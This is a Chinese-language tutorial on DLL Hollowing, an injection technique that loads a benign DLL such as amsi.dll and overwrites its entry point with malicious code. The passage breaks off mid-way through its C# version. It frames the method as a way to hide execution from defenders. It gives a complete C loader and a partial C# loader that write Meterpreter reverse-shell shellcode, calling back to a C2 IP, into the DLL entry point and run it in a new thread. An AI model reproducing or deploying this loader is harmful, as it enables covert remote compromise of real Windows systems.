DLL Hollowing 技术解析
探讨挖空技术,重点是 DLL Hollowing(DLL 挖空)。与进程挖空技术不同,DLL Hollowing 会让目标进程加载新的 DLL,然后用恶意代码覆盖 DLL 的部分内容,从而实现隐匿的恶意代码执行。
原理
DLL Hollowing是一种代码注入技术,攻击者通过加载新的 DLL 并覆盖其部分代码,将恶意代码注入到当前进程或远程进程的内存空间。
这种方法的主要目标是避免恶意代码被轻易分析和检测。例如,当防御者简单检查文件系统时,加载的 DLL 和进程看起来都是良性的,没有明显的异常。
当前进程中的 DLL Hollowing
加载目标 DLL
一个可执行文件(例如A.exe
)启动后,会尝试将目标 DLL 加载到自身的内存空间中。这通常通过LoadLibrary
等 API 实现。解析 DLL 标头
加载 DLL 后,程序会解析 DLL 的标头信息以定位注入位置。通常,入口点(DllMain
)是注入恶意代码的目标位置。覆盖入口点
程序将恶意代码覆盖到目标 DLL 的入口点,从而控制 DLL 的执行逻辑。启动恶意线程
覆盖完成后,程序会创建一个新线程,该线程以恶意代码为起始点执行。
下面是展示了注入前后加载到进程中的库列表,amsi.dll
是新加载的目标库。
amsi.dll 的原始入口点:
被恶意代码覆盖后的入口点:
用于覆盖入口点的反混淆后的 Meterpreter Shellcode。
远程进程中的 DLL Hollowing
创建远程进程
程序首先创建一个远程进程(如Notepad.exe
),并获取该进程的句柄。加载目标 DLL
使用进程句柄,指示远程进程加载目标 DLL。遍历加载模块
程序遍历远程进程已加载的模块,获取目标 DLL 的内存地址。覆盖入口点
与第一种方法类似,通过解析 DLL 标头,程序定位并覆盖入口点,将恶意代码注入到 DLL 中。启动远程线程
一旦覆盖完成,程序会启动一个远程线程,入口点指向覆盖后的恶意代码。
Notepad 默认的 DLL 列表
加载恶意amsi.dll
后的 DLL 列表。
DLL Hollowing 提供了一种隐匿恶意代码和隐藏执行行为的手段。与其他注入技术类似,它可以绕过简单的防御措施,例如基于父子进程关系的检测。
由于恶意代码运行在看似正常的进程中,并加载了表面上良性的 DLL,初步检查很可能会忽略这些异常。即使深入分析,也可能需要花费额外的时间来发现其真实意图。
代码演示
C代码实现
在 C 代码示例中,程序加载目标 DLL,将恶意代码写入 DLL 的入口点,并创建新线程以执行恶意代码。
关键流程
加载目标 DLL
使用 LoadLibrary 加载目标 DLL(默认是 amsi.dll),并返回其内存地址。若加载失败,则程序退出。解析 DLL 的入口点
通过解析 MZ 和 PE 头,定位 DLL 的入口点地址。这是覆盖恶意代码的目标地址。覆盖入口点
修改 DLL 入口点的内存权限为可读写,写入恶意代码后再恢复内存权限。创建新线程
使用 CreateThread 启动线程,从 DLL 的入口点开始执行注入的恶意代码。
int main(int args, char *argc[]) {
char dllName[256] = {};
// 检查命令行参数并设置默认 DLL 名称
if (args != 2) {
printf("Usage:: dll_hollowing.exe <dll name>\n");
memcpy(dllName, "amsi.dll", 9);
} else {
memcpy(dllName, argc[1], strlen(argc[1]));
}
printf("C2 IP:\t\t192.168.200.220\nDll Name:\t%s\n", dllName);
// Meterpreter 反向 shellcode 的解码与复制
unsigned char buff[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00...";
int encoded_size = sizeof(buff);
unsigned char *buf = (unsigned char *)malloc(encoded_size);
memset(buf, 0, encoded_size);
memcpy(buf, buff, encoded_size);
// 加载目标 DLL
DWORD saveProtect = 0;
HMODULE hTargetDLL = LoadLibrary(dllName);
if (hTargetDLL == NULL) {
printf("[!] LoadLibrary failed to load %s\n", dllName);
return 0;
}
// 解析 DLL 的入口点
PIMAGE_DOS_HEADER mzHeader = (PIMAGE_DOS_HEADER)hTargetDLL;
PIMAGE_NT_HEADERS peHeader = (PIMAGE_NT_HEADERS)((char *)hTargetDLL + mzHeader->e_lfanew);
void *entryPointDLL = (void *)((char *)hTargetDLL + peHeader->OptionalHeader.AddressOfEntryPoint);
printf("%s DLL entrypoint address is (%p)\n", dllName, entryPointDLL);
// 修改内存权限并覆盖入口点
VirtualProtect(entryPointDLL, encoded_size, PAGE_READWRITE, &saveProtect);
memcpy(entryPointDLL, buf, encoded_size);
VirtualProtect(entryPointDLL, encoded_size, saveProtect, &saveProtect);
// 创建线程执行恶意代码
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)entryPointDLL, NULL, 0, 0);
printf("Thread Created\n");
// 等待退出命令
while (true) {
if (getchar() == 'q') {
printf("Received an exit command\n");
break;
}
}
printf("Exiting\n");
return 1;
}
C# 代码实现
C# 代码实现与 C 代码的操作类似,但引入了更多工具类(如 Win32)来操作 DLL 加载和内存操作。它的流程更具可读性,同时支持命令行参数来动态设置目标 DLL 和 C2 IP。
关键流程
解析命令行参数
通过命令行获取目标 DLL 名称和 C2 IP 地址,若未提供参数,则使用默认值。处理恶意 shellcode
解码恶意 shellcode,并动态替换其中的 C2 IP 地址为用户提供的值。加载目标 DLL
使用 LoadLibrary 加载目标 DLL,解析其入口点。覆盖入口点
修改入口点内存权限为可读写,将恶意代码写入,并恢复内存权限。启动线程执行恶意代码
使用 CreateThread 启动线程,从覆盖的入口点开始执行恶意代码。
unsafe class Program {
static void Main(string[] args) {
// 解析命令行参数
string c2_ips = args.Length >= 2 ? args[0] : "192.168.49.115";
string dll_name = args.Length >= 2 ? args[1] : "amsi.dll";
Console.WriteLine("[*] Using C2 IP: {0}, DLL Name: {1}", c2_ips, dll_name);
// 处理 shellcode
byte[] encoded = new byte[460] { /* Shellcode */ };
byte[] buf = DecodeShellcode(encoded, c2_ips);
// 加载目标 DLL
IntPtr hTargetDLL = Utility.Win32.LoadLibrary(dll_name);
if (hTargetDLL == IntPtr.Zero) {
Console.WriteLine("[!] LoadLibrary failed to load {0}", dll_name);
return;
}
Console.WriteLine("[*] {0} Base Address: 0x{1:X}", dll_name, (long)hTargetDLL);
// 解析 DLL 的入口点
Utility.Win32.IMAGE_DOS_HEADER* mzHeader = (Utility.Win32.IMAGE_DOS_HEADER*)hTargetDLL.ToPointer();
Utility.Win32.IMAGE_NT_HEADERS64* peHeader = (Utility.Win32.IMAGE_NT_HEADERS64*)((long)mzHeader + mzHeader->e_lfanew);
IntPtr addressOfEntryPoint = new IntPtr((long)mzHeader + peHeader->OptionalHeader.AddressOfEntryPoint);
Console.WriteLine("[*] {0} EntryPoint Address: 0x{1:X}", dll_name, (long)addressOfEntryPoint);
/